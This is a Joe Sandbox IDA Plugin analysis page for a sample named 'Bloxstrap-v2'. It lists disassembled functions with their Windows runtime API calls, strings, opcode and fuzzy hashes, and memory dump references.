Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 214d549ffa11f22d512c2531589e278a1a5ab5b5ae9474ffdfd756ba30f4de4e
Instruction ID: 1e4eaf7d36c677190a88621059dbd0c80c6744b642f06c931b5390a191b2808a
Opcode Fuzzy Hash: 214d549ffa11f22d512c2531589e278a1a5ab5b5ae9474ffdfd756ba30f4de4e
Instruction Fuzzy Hash: 9F31B221E09A4281EA15FF15EC401B9E362FF85BA4F88153EDA5D077A5DF3CE442CB20

Function 00007FF72E6B6B10 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF72E6B6B80

Part of subcall function 00007FF72E6B5FF0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF72E6B4FFA), ref: 00007FF72E6B6003

_CallSETranslator.LIBVCRUNTIME ref: 00007FF72E6B6BCB
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B6DF9

Strings

MOC, xrefs: 00007FF72E6B6B94
RCC, xrefs: 00007FF72E6B6B9C

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: b419f04d8885d43c1d6e2d8f207cb08a9fa771e7841e06a7810502fd8b6ab591
Instruction ID: c35a9e8ebfba71217d9af24c171d61452ec0a304a0f117759ddae3dff7685221
Opcode Fuzzy Hash: b419f04d8885d43c1d6e2d8f207cb08a9fa771e7841e06a7810502fd8b6ab591
Instruction Fuzzy Hash: 8091AE73A087958AE710EF65E8402ADBBB1FB08788F50412EEE8D27B55DF38D195CB10

Function 00007FF72E6B2EFC Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6B2F19
std::locale::_Setgloballocale.LIBCPMT ref: 00007FF72E6B2F3C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A566A), ref: 00007FF72E6B2F5D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A566A), ref: 00007FF72E6B2F7B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6B2FD7

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_Setgloballocalefreemallocstd::locale::_
String ID:
API String ID: 2400387105-0
Opcode ID: 5dcf960f0c5fad94d49feb54b0b85d927702e3b79964c6fd9d6e24ca7a0f8981
Instruction ID: 28898b84e8a7df89e2e385030a267c60ffb723a497566127737e84730976a8a5
Opcode Fuzzy Hash: 5dcf960f0c5fad94d49feb54b0b85d927702e3b79964c6fd9d6e24ca7a0f8981
Instruction Fuzzy Hash: EA217C21A08A4684EE14BF12DC54278A7A6FF49F80F89603DCA8D17765CF3CE481CB24

Function 00007FF72E6A1AB0 Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72E6B30DC: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,00007FF72E6A1CD4), ref: 00007FF72E6B30EB

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1ACB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1AE0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1AF3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1B06
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1B19
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6A1B2C

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: free$setlocale
String ID:
API String ID: 294139027-0
Opcode ID: 8ff2967ea4f5012d5408623406c781c38c7fdf44bc9e8bdaa5206147ea4c38b5
Instruction ID: 016099ef8af3cd0f7cd4e128e3fdc422922fab3968d2abbd0b2aa5bcd76c2d80
Opcode Fuzzy Hash: 8ff2967ea4f5012d5408623406c781c38c7fdf44bc9e8bdaa5206147ea4c38b5
Instruction Fuzzy Hash: B411FE75A46A4185EF58AF61D990138B3AAFF54F94B58013DCA4E12664CE3ED890C7B0

Function 00007FF72E6A6F10 Relevance: 7.5, APIs: 5, Instructions: 32threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF72E6A6F3F
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6F5A
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6F75
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6F7E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6F89

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: __acrt_iob_funcfflush$SwitchThread
String ID:
API String ID: 2569594562-0
Opcode ID: a2cf9c63c95ca161743a6e59a401192e1bb705c5e50bbeed9806f60e2335f279
Instruction ID: a16b443ec5b1e785db310ef8c58ddf2896a0ec1b687f9c3d18448a9360629a08
Opcode Fuzzy Hash: a2cf9c63c95ca161743a6e59a401192e1bb705c5e50bbeed9806f60e2335f279
Instruction Fuzzy Hash: D3014620E09A538AFB10AB51EC58339B2A7FF15344F80103CE94E923A0DF6DE9848F61

Function 00007FF72E6B7084 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72E6B70AE
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B7312

Strings

csm, xrefs: 00007FF72E6B7242
csm, xrefs: 00007FF72E6B70D3

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 1c0174240178b4da15a803e4bbf069aaf8c4d8862c83a3b7610c581d5c235f49
Instruction ID: 92c272f03e84ba47802790e20d0bdd3fa9beeed2d45474cc861ac95b08300bb1
Opcode Fuzzy Hash: 1c0174240178b4da15a803e4bbf069aaf8c4d8862c83a3b7610c581d5c235f49
Instruction Fuzzy Hash: C471C27290869186DB64AF25984077DBBA2FB14B84F54823EEECC27B85DF3CE551CB10

Function 00007FF72E6B74D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72E6B5FF0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF72E6B4FFA), ref: 00007FF72E6B6003

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72E6B757A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF72E6B75A6

Strings

csm, xrefs: 00007FF72E6B76A6

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: 6f32a4f86f1826702f8a07580feadbe8c5077a5e0cce67c8018d6ebcfa58199b
Instruction ID: 410eb98b528a010ee0c2c7610f4a7a6375a64de40a6dd11bc6b98bc6864fbda9
Opcode Fuzzy Hash: 6f32a4f86f1826702f8a07580feadbe8c5077a5e0cce67c8018d6ebcfa58199b
Instruction Fuzzy Hash: 96515F7261974287D620AB19A84026EB7A9F788B94F50113CEFCD17B56DF38E460CF10

Function 00007FF72E6A7E70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A7E99
wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF72E6A7EC0

Strings

stoul argument out of range, xrefs: 00007FF72E6A7EF3
invalid stoul argument, xrefs: 00007FF72E6A7F00

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _errnowcstoul
String ID: invalid stoul argument$stoul argument out of range
API String ID: 4037081904-1365241121
Opcode ID: f3385b04bf3eb9fd5f8d77fac0dba318cf46b309a2440bd914e8874a38419c05
Instruction ID: 2d66ae3a6abcd703cb8aebbf7259c030d502ee7903efb25121f8d130fa311b05
Opcode Fuzzy Hash: f3385b04bf3eb9fd5f8d77fac0dba318cf46b309a2440bd914e8874a38419c05
Instruction Fuzzy Hash: 1E11C631E1860581EB54BF21E8502A8A3A2FF45760F884538D76D07BD5CF3CE881CF60

Function 00007FF72E6B1AD0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6C1F
Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CED
Part of subcall function 00007FF72E6A6BD0: OutputDebugStringW.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CF6
Part of subcall function 00007FF72E6A6BD0: SwitchToThread.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D2B
Part of subcall function 00007FF72E6A6BD0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D5B
Part of subcall function 00007FF72E6A6BD0: fputws.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D6C

Part of subcall function 00007FF72E6A6BD0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D77
Part of subcall function 00007FF72E6A6BD0: fputwc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D85
Part of subcall function 00007FF72E6A6BD0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6DA9
Part of subcall function 00007FF72E6A6BD0: __stdio_common_vfwprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6DDC
Part of subcall function 00007FF72E6A6BD0: fputwc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6DEA
Part of subcall function 00007FF72E6A6BD0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6E2C

Part of subcall function 00007FF72E6A6BD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A6E4A

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B1B64

Strings

- %s&apphost_version=%s, xrefs: 00007FF72E6B1B1E
_ To run this application, you need to install a newer version of .NET Core., xrefs: 00007FF72E6B1AEE
6.0.35, xrefs: 00007FF72E6B1B17

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: __acrt_iob_func$__stdio_common_vswprintf_invalid_parameter_noinfo_noreturnfputwc$Concurrency::cancel_current_taskDebugOutputStringSwitchThread__stdio_common_vfwprintffputws
String ID: - %s&apphost_version=%s$ _ To run this application, you need to install a newer version of .NET Core.$6.0.35
API String ID: 1556360699-26905176
Opcode ID: 1470a0e6f11f2364b97292d45ed962eaafc790b3f435796173179b71073c4f50
Instruction ID: 95cf07857f2b96aa22059f59ea586dcfbbf87e1455209f8bd40af3f25ee880be
Opcode Fuzzy Hash: 1470a0e6f11f2364b97292d45ed962eaafc790b3f435796173179b71073c4f50
Instruction Fuzzy Hash: 85115161F18A8691ED10FB14EC95169A363FF95794FC0123EE19E166A5DE2CE5408B20

Function 00007FF72E6B5148 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B51A8

Strings

RCC, xrefs: 00007FF72E6B5158
MOC, xrefs: 00007FF72E6B5160
csm, xrefs: 00007FF72E6B5168

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: terminate
String ID: MOC$RCC$csm
API String ID: 1821763600-2671469338
Opcode ID: 4b376863bd06cde8e28da63690cde0e2dbcdfe5baa96499a7da88f005334eeaf
Instruction ID: 3b8fb6574a71855c8a8afc0c198f5a7b246b737849b34857975aa05f635d6eaf
Opcode Fuzzy Hash: 4b376863bd06cde8e28da63690cde0e2dbcdfe5baa96499a7da88f005334eeaf
Instruction Fuzzy Hash: 78F08C3691824686E3643B54D9450A9B36BFB48744F89A03DDB9926696CF3CE490CE22

Function 00007FF72E6A1560 Relevance: 6.2, APIs: 4, Instructions: 200COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A170E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A17B6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A17F6
__std_exception_destroy.LIBVCRUNTIME ref: 00007FF72E6A181D

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_exception_destroymalloc
String ID:
API String ID: 2647511316-0
Opcode ID: 5d667fda957ce4b68ff265e2196eeea55b4658c72e2b32916a8e721eb7ad73db
Instruction ID: 83e6263b88b638dd17490715e50ed4715a5ca49b0a3fda74300e8bf071196a3b
Opcode Fuzzy Hash: 5d667fda957ce4b68ff265e2196eeea55b4658c72e2b32916a8e721eb7ad73db
Instruction Fuzzy Hash: 5F819F62F14B418AFB00EBA4D9443AC7363FB54798F905639DE5C27B95EF389085C760

Function 00007FF72E6B9340 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B93A6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B9416
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B9486
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B94F6

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d009d2b422ed348cfca9083f00f30f07d73d9cb6640558830ac81fc7f4662e38
Instruction ID: 2d0ad68ae2f2f4c87133d97204f9a5e96edd3934c36a555a7c606084580e7f74
Opcode Fuzzy Hash: d009d2b422ed348cfca9083f00f30f07d73d9cb6640558830ac81fc7f4662e38
Instruction Fuzzy Hash: 81414260B1958680EA08E729EC9C378B363FF44B85FD0543DC64D5BA66EF7CA4C48B20

Function 00007FF72E6A5940 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,\\?\,?,?,00007FF72E6A5545), ref: 00007FF72E6A5A74
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A5AC1

Strings

\\?\, xrefs: 00007FF72E6A5943

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: \\?\
API String ID: 73155330-4282027825
Opcode ID: 129c58d37de64c28ac5a8184ec86c25ee4066f7660eabb2ee7b48e770a130db4
Instruction ID: cdcaf82b43362bcf2fb108795e0b17c7167f9c8f4c49d0141c007db90cdf91f2
Opcode Fuzzy Hash: 129c58d37de64c28ac5a8184ec86c25ee4066f7660eabb2ee7b48e770a130db4
Instruction Fuzzy Hash: 1741CF62B1968581EE10EF1299442AEE357FB04BE0FC80639DFAD0B7C9DE7CE0418720

Function 00007FF72E6A8AC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A8B72

Strings

stoul argument out of range, xrefs: 00007FF72E6A9855, 00007FF72E6A986F
invalid stoul argument, xrefs: 00007FF72E6A9862, 00007FF72E6A987C

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: invalid stoul argument$stoul argument out of range
API String ID: 3668304517-1365241121
Opcode ID: 07f1aac7f6287aa0c2e3f9d6d8d4a7ad62984c65dc21b729912c7d48826c0847
Instruction ID: db23303bc813ee63d0ee5e3cc1566e15e4daade5d621124c8706356aec405d81
Opcode Fuzzy Hash: 07f1aac7f6287aa0c2e3f9d6d8d4a7ad62984c65dc21b729912c7d48826c0847
Instruction Fuzzy Hash: A1113DB2B1468591EF049F29E99836DA362FB44FC8F94502ACA8D07A69DF7DD880C744

Function 00007FF72E6B52CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF72E6B2D0E), ref: 00007FF72E6B5310
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF72E6B2D0E), ref: 00007FF72E6B5356

Strings

csm, xrefs: 00007FF72E6B5343

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 1bf278a6a39a1b0626c569310488ffdaa60bfbeb1c2403d31d792a8823cc728f
Instruction ID: 67300caeade587a3958f6aaf8fd07040b08356df39408a76a2ae0840fb2d6eb5
Opcode Fuzzy Hash: 1bf278a6a39a1b0626c569310488ffdaa60bfbeb1c2403d31d792a8823cc728f
Instruction Fuzzy Hash: EF118C32608B8182EB609F15F8002A9B7A2FB98B84F984239DECD17764EF7DC551CB00

Function 00007FF72E6B600C Relevance: 5.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF72E6B5FF9,?,?,?,?,00007FF72E6B4FFA), ref: 00007FF72E6B602B
SetLastError.KERNEL32(?,?,?,00007FF72E6B5FF9,?,?,?,?,00007FF72E6B4FFA), ref: 00007FF72E6B60B2

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

